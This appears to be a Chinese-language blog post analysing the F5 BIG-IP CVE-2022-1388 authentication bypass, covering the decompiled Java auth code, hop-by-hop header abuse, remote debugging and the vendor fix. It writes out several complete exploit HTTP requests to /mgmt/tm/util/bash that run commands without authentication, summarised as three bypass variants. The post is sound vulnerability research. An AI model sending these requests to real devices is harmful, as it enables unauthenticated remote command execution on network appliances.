F5 BIGIP CVE-2022-1388 认证绕过漏洞分析
2022-10-18 08:32:11 Author: LemonSec(查看原文) 阅读量:38 收藏

1

概述

官网5月5日漏洞通告：

https://support.f5.com/csp/article/K23605346

漏洞影响面：

作为java初学者，尝试基于大佬们的文章稍微深入的分析了一下，因为能力不足，在分析过程中其实没有保留一个很严谨的思路和逻辑，反倒像自己一些疑问点的探析，可能有点乱，希望能给观者启发，同时求大佬们轻锤。

2

分析

根据我的上一篇文章对CVE-2021-22986的分析可知

由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty，针对F5 BIG-IP iControl REST API的认证绕过要过两关，分别是apache的认证以及jetty的认证。

apache认证验证逻辑

在CVE-2021-22986影响版本中（我的是16.0.0），针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过，但是CVE-2021-22986修复版本（我使用的是16.1.2.1）中进行了修复，如果包头X-F5-Auth-Token参数为空则会直接返回401，如果不为空则依然可以转发至jetty。

jetty认证验证逻辑

另外，在CVE-2021-22986影响版本中，jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null，同时Authorization头中username有效即可(admin为默认有效的username)，在CVE-2021-22986修复版本中，则首先会判断包头X-F5-Auth-Token的值结果是否为null，如果不是则使用包头X-F5-Auth-Token的值验证，如果为空则根据Authorization的值来进行判断。

根据CVE-2021-22986修复版本（我使用的是16.1.2.1）中setIdentityFromBasicAuth可知

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {    String authHeader = request.getBasicAuthorization();    if (authHeader == null) {        return false;    } else {        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");        if (xForwardedHostHeaderValue == null) {            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            if (runnable != null) {                runnable.run();            }
            return true;        } else {            String[] valueList = xForwardedHostHeaderValue.split(", ");            int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;            if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {                if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                    if (runnable != null) {                        runnable.run();                    }
                    return true;                } else {                    boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");                    if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {                        AuthProviderLoginState loginState = new AuthProviderLoginState();                        loginState.username = components.userName;                        loginState.password = components.password;                        loginState.address = request.getRemoteSender();                        RestRequestCompletion authCompletion = new RestRequestCompletion() {                            public void completed(RestOperation subRequest) {                                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                                if (runnable != null) {                                    runnable.run();                                }
                            }
                            public void failed(Exception ex, RestOperation subRequest) {                                RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});                                if (ex.getMessage().contains("Password expired")) {                                    request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));                                }
                                if (runnable != null) {                                    runnable.run();                                }
                            }                        };
                        try {                            RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);                            RestRequestSender.sendPost(subRequest);                        } catch (URISyntaxException var11) {                            LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});                        }
                        return true;                    } else {                        request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                        if (runnable != null) {                            runnable.run();                        }
                        return true;                    }                }            } else {                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                if (runnable != null) {                    runnable.run();                }
                return true;            }        }    }}
static {    TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}
}

修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查，如果是127.0.0.1，或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证，但是其他的请求则无法直接通过认证，会检查认证是否过期，如果过期则使用Authoriaztion头中的口令密码重新验证。

hop-by-hop

根据hop-by-hop headers

据RFC 2616，HTTP/1.1 规范默认将以下标头视为逐跳：Keep-Alive、Transfer-Encoding、TE、Connection、Trailer、Upgrade和。当在请求中遇到这些标头时，兼容的代理应该处理或操作这些标头所指示的任何内容，而不是将它们转发到下一个跃点.除了这些默认值之外，请求还可以定义一组自定义的标头，通过将它们添加到connection中来逐跳处理，如下所示

Connection: close, X-Foo, X-Bar

这样子，不仅Connection不会呗转发到下一个跃点，而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图

组合实现漏洞绕过

一个有效的触发数据包是这样的

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

我们可以大胆猜测，在apache检查中，因为头部X-F5-Auth-Token存在值且不为空，所以成功绕过验证；

在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发；

在jetty验证中，再次取X-F5-Auth-Token值为空，X-Forwarded-Host会将Host字段的值添加进来，检查结果为127.0.0.1，且Authoriaztion中username有效(admin)，因而认证通过。

如果我们的猜测正确，那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1，Authoriaztion的username设置为f5hubblelcdadmin)

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

测试确实成功：

并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话，则会失败，测试确实如所料

3

调试

为了验证猜想正确，进行调试分析

调试开启步骤参考上一篇文章，即编辑/var/service/restjavad/run文件，加入

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时，防火墙开启8777端口

[[email protected]:NO LICENSE:Standalone] / # tmsh[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall[email protected](localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后使用idea连接远程调试即可

断点直接下在RestServerServlet.class的service函数中即可，直接看apache传过来的request

先发送一个可以触发漏洞的包：

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

此时，在断点处获取到的op的值为

[ id=4255273 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Tue May 24 12:16:12 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Local-Ip-From-Httpd'='172.16.113.247'   'X-Forwarded-Proto'='http'   'X-Forwarded-Server'='localhost.localdomain'   'X-F5-New-Authtok-Reqd'='false'   'X-Forwarded-Host'='127.0.0.1'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

可以看到，X-Forwarded-Host的值就是我们果然传进入的host的值，因为基本上确定，apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法，我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头

可以看到，apache在处理过程中会调用mod_proxy.so，将Host的值添加到X-Forwarded-Host这个值当中，然后再传递给jetty，jetty又会根据X-Forwarded-Host的值来进行权限验证，整体流程基本清楚。

但是这里我们看到，程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中，而不是使用apr_table_set这个方法直接设置，所以我们试想，如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢？

测试发现失败的

在断点处获得op的值为：

[ id=4260158 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Tue May 24 12:40:23 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Local-Ip-From-Httpd'='172.16.113.247'   'X-Forwarded-Proto'='http'   'X-Forwarded-Server'='localhost.localdomain'   'X-F5-New-Authtok-Reqd'='false'   'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

经过调试分析可以看到，jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值，但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值（即Host头的值），所以只有host的值为127.0.0.1或者127.4.2.1才行

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {    String authHeader = request.getBasicAuthorization();    if (authHeader == null) {        return false;    } else {        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");        if (xForwardedHostHeaderValue == null) {            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            if (runnable != null) {                runnable.run();            }             return true;    } else {        String[] valueList = xForwardedHostHeaderValue.split(", ");        int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;        if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {            if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                if (runnable != null) {                    runnable.run();                }
                return true;            } else {                boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");                if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {                    AuthProviderLoginState loginState = new AuthProviderLoginState();                    loginState.username = components.userName;                    loginState.password = components.password;                    loginState.address = request.getRemoteSender();                    RestRequestCompletion authCompletion = new RestRequestCompletion() {                        public void completed(RestOperation subRequest) {                            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                            if (runnable != null) {                                runnable.run();                            }
                        }
                        public void failed(Exception ex, RestOperation subRequest) {                            RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});                            if (ex.getMessage().contains("Password expired")) {                                request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));                            }
                            if (runnable != null) {                                runnable.run();                            }
                        }                    };
                    try {                        RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);                        RestRequestSender.sendPost(subRequest);                    } catch (URISyntaxException var11) {                        LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});                    }
                    return true;                } else {                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);                    if (runnable != null) {                        runnable.run();                    }
                    return true;                }            }        } else {            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);            if (runnable != null) {                runnable.run();            }
            return true;        }    }}}
static {    TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}
}

但是，在jetty中，在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数，如果有则跳过继续运行，如果没有的话则会赋值localhost。所以可以想到，在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在，也可以绕过认证

如果直接发送给apache的包头中去掉Host参数，同时也没有X-Forwarded-Host参数的话，jetty获取到的X-Forwarded-Host值应该是空的，但是经过测试，Host参数不能缺少，否则报错

所以可以考虑通过hop-by-hop的方法，将X-Forwarded-Host添加在connection当中，这样子，在转发给jetty的X-Forwarded-Host参数应该也是空，尝试果然可以

测试果然如所料：

4

几种绕过模式总结

经过以上分析，发现绕过apache的思路其实比较单一，就是头中包含X-F5-Auth-Token，并且在connection中包含X-F5-Auth-Token

但是绕过jetty的方式不止一种，简单总结一下：

1.host的值为127.0.0.1、localhost等值，Authorization为admin的base6

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

2.host的值为127.4.2.1，Authoriaztion为f5hubblelcdadmin的base64

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

3.host值为默认，connection中包含X-Forwarded-Host的值，造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-Token, X-Forwarded-HostContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

5

修复

安装16.1.2.2修复版本，查看修复情况

mod_auth_pam修复情况

简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化

老版本中（16.1.2.1）中，只检查X-F5-Auth-Token的值不为空即可绕过认证

但是在修复版本（16.1.2.2）中X-F5-Auth-Token不仅不能为空，而且要检查正确性，有效才通过认证

Apache配置文件修复情况

╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf1006a1007,1015> <If "%{HTTP:connection} =~ /close/i ">>     RequestHeader set connection close>     </If>>     <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">>     RequestHeader set connection keep-alive>     </ElseIf>>     <Else>>         RequestHeader set connection close>         </Else>

可以看出配置中新增选项，如果头connection中只要有close字段，则直接将connection的值设置为close，如果头connection中只要有keep-alive字段，则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性

实际测试一下，发送以下数据包：

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46YWRtaW4=connection: close, X-Forwarded-HostContent-type: application/jsonContent-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}

在jetty中下断点，发现X-Forwarded-Host依然存在，且取的是host的值，可判断，通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在

[ id=1690145 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Fri May 27 06:17:23 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'   'REMOTECONSOLE'='/bin/false'   'REMOTEROLE'='0'   'Session-Invalid'='true'   'X-Forwarded-Proto'='http'   'X-Forwarded-Host'='172.16.113.244'   'X-F5-New-Authtok-Reqd'='false'   'Local-Ip-From-Httpd'='172.16.113.245'   'X-Forwarded-Server'='localhost.localdomain'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

6

参考链接

[1] 从滥用HTTP hop by hop请求头看CVE-2022-1388

https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/

[2] hop-by-hop headers

https://book.hacktricks.xyz/pentesting-web/abusing-hop-by-hop-headers

[3] CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现

https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247489581&idx=1&sn=52811f2a353bf61a756dd324960f0feb

[4] BIG-IP(CVE-2022-1388)从修复方案分析出exp

https://cn-sec.com/archives/993185.html

[5] F5 BIG-IP 未授权 RCE（CVE-2022-1388）分析

https://paper.seebug.org/1893/

[6] CVE-2022-1388漏洞分析

http://buaq.net/go-111634.html
作者： 1s1and，文章转载于先知社区
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